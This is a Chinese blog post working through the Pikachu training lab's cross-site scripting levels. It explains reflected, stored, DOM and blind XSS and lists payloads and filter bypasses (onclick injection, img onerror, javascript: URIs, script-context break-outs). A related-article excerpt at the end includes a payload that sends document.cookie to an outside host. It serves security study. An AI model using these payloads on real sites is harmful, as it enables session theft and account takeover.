首页 > 其他分享 >pikachu -Xss

pikachu -Xss

时间:2023-03-18 17:23:26浏览次数:37  
标签:Xss xss pikachu alert 过滤 ms 字符 输入

跨站脚本漏洞常见类型 危害:存储型>反射型> DOM型 1.反射型 交互的数据一般不会被存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。 2.存储型 交互的数据会被存在在数据库里面,永久性存储,一般出现在留言板,注册等页面。 3.DOM型 不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性也属于反射型。 xss漏洞形成的原因: 形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造"的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。 跨站脚本漏洞测试流程: 1.在目标站点上找到输入点,比如查询接口,留言板等; 2.输入一组”特殊字符+唯一识别字符”, 点击提交后,查看返回的源码,是否有做对应的处理; 3.通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件 (构造闭合) ; 4.提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞; 提示: 1.一般查询接口容易出现反射型XSS ,留言板容易出现存储型XSS ; 2.由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效或者环境限制了执行(浏览器) ; 3.通过变化不同的script ,尝试绕过后台过滤机制;

  • 反射型xss(get)

  在输入kobe和其他敏感字符后,按照输入输出,判断出没有对字符进行过滤

 

   输入JavaScript语句后发现不能显示完全,查看源码更改输入字符限制

<input class="xssr_in" type="text" maxlength="20" name="message">

  • 反射型xss(post)

  和get差不多,参数传递为post

<script>alert('Hello')</script>

GET和POST典型区别:
GET是以url方式提交数据;
POST是以表单方式在请求体里面提交;

GET方式的XSS漏洞更加容易被利用, 一般利用的方式是将带有跨站脚本的URL伪装后发送给目标,而POST方式由于是以表单方式提交,无法直接使用URL方式进行攻击,

  • 存储型xss

  存储型xss又名永久性xss,每一次刷新页面都会弹出窗口。输入敏感符号没有被过滤。

  •  DOM型xss

在输入框输入字符以后发现输入的字符被放入一个href中,利用""构造闭合

输入#' onclick="alert('Hello')">
将其拼接成<a href="#" onclick="alert('Hello')">'>what do you see?</a>

  

 

 

 

  •  DOM型xss-x

他的输入从url中获得,构造闭合
#' onclick="alert('Hello')">

  

 

  •  xss之盲打

输入框一般是前端数据交互的地方。在输入框输入语句,然后在后端发现语句没有被过滤。这样在其插入语句,当管理员打开的时候就会执行插入的语句。

这不会立马得到结果,一般尝试输入后管理员执行相应操作才会有结果。

 

 

  •  xss之过滤

在本题中输入<script>时只有>说明script被过滤了,再尝试大小写,并没有被过滤。
然后通过oneerror事件属性(报错)也成功<img src=x one rror= " alert%28%27xss%27%29" />
也可使用其他方式对其编码

 

 

  •  xss之htmlspecialchars

htmlspecialchars()函数把预定义的字符转换为HTML实体。
&(和号)成为&
"(双引号)成为"
'(单引号)成为'
<(小于)成为<
‘>’(大于)成为>

可用的引号类型:
ENT_ COMPAT -默认。仅编码双引号。
ENT QUOTES -编码双引号和单引号。
ENT NOQUOTES -不编码任何引号。
在输入1'1'1"1<1>1&后发现只有'没有被过滤。

<a href="1" 1'1"1<1>1&'="">1'1'1"1<1>1&</a>

输入#' onclick='alert(666)'得到结果

 

  •  xss之href输出

输入Javascript:alert('Hello')
alert被执行,出现弹窗。在这里我们可以做出相应防范,只允许http,https,其次在进行htmlspecialchars处理。

  •  xss之js输出

查看源码后对$ms进行闭合
输入:x'</script><script>alert('xss')</script>'
$ms='tmac';
if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }
执行
alert($ms);

  

标签:Xss,xss,pikachu,alert,过滤,ms,字符,输入
From: https://www.cnblogs.com/Bin-go/p/17231103.html

相关文章

  • Web漏洞-XSS跨站之代码及httponly绕过
    进入后台获得后台权限:cookie权限进入后台;直接账号密码登录Str-replace   关键字过滤什么是httponly如果在cookie中设置了httponly属性,那么通过js脚本将无法读取到co......
  • SpringCloud微服务实战——搭建企业级开发框架(五十一):微服务安全加固—自定义Gateway拦
      SQL注入是常见的系统安全问题之一,用户通过特定方式向系统发送SQL脚本,可直接自定义操作系统数据库,如果系统没有对SQL注入进行拦截,那么用户甚至可以直接对数据库进行增删......
  • DVWA系列5:XSS 跨站脚本攻击之 存储型
    DVWA系列5:XSS跨站脚本攻击之存储型前言上一篇文章介绍了XSS中的DOM型和反射型,这两者都是不与目标网站的后台服务器交互的。而存储型是使用各种方法将攻击内容保......
  • XSS跨站基础小总结
    原理、分类和其他XSS跨站脚本攻击指恶意攻击者在Web页面中插入恶意javascript代码(也可能包含html代码),当用户浏览网页之时,嵌入Web里面的javascript代码会被执行,从而达到恶......
  • DVWA系列4:XSS 跨站脚本攻击之 DOM型 和 反射型
    DVWA系列4:XSS跨站脚本攻击之DOM型和反射型前言跨站脚本攻击(即CorssSiteScript,为了不与CSS混淆被称为XSS)是一种较为常见的攻击手段。主要分为三种类型:DOM型,反......
  • DVWA 之 XSS(Stored) - 存储型XSS
    XSS(Stored)-存储型XSS原理存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方。如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该......
  • DVWA 之 XSS(Reflected) - 反射型XSS
    九、XSS(Reflected)-反射型XSS原理XSS,全称CrossSiteScripting,即跨站脚本攻击,某种意义上也是一种注入攻击,指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,......
  • PentestLab-web安全XSS注入-EXP5
    我们打开靶机选择“Example5”观察使用工具测试选择get方法输入url使用默认字典存在xss漏洞且payload为</script>"><script>prompt(1)</script>验证我们打开靶机观察源代码......
  • DVWA XSS
    XSSStorehignlevel<?phpif(isset($_POST['btnSign'])){//Getinput$message=trim($_POST['mtxMessage']);$name=trim($_POST['......
  • XSS打cookie
    XSS打cookie 盲打cookiepayload<script>document.location='http://192.168.0.176/Hcookie.php?cookie='+document.cookie;</script><imgsrc='http://192.168.......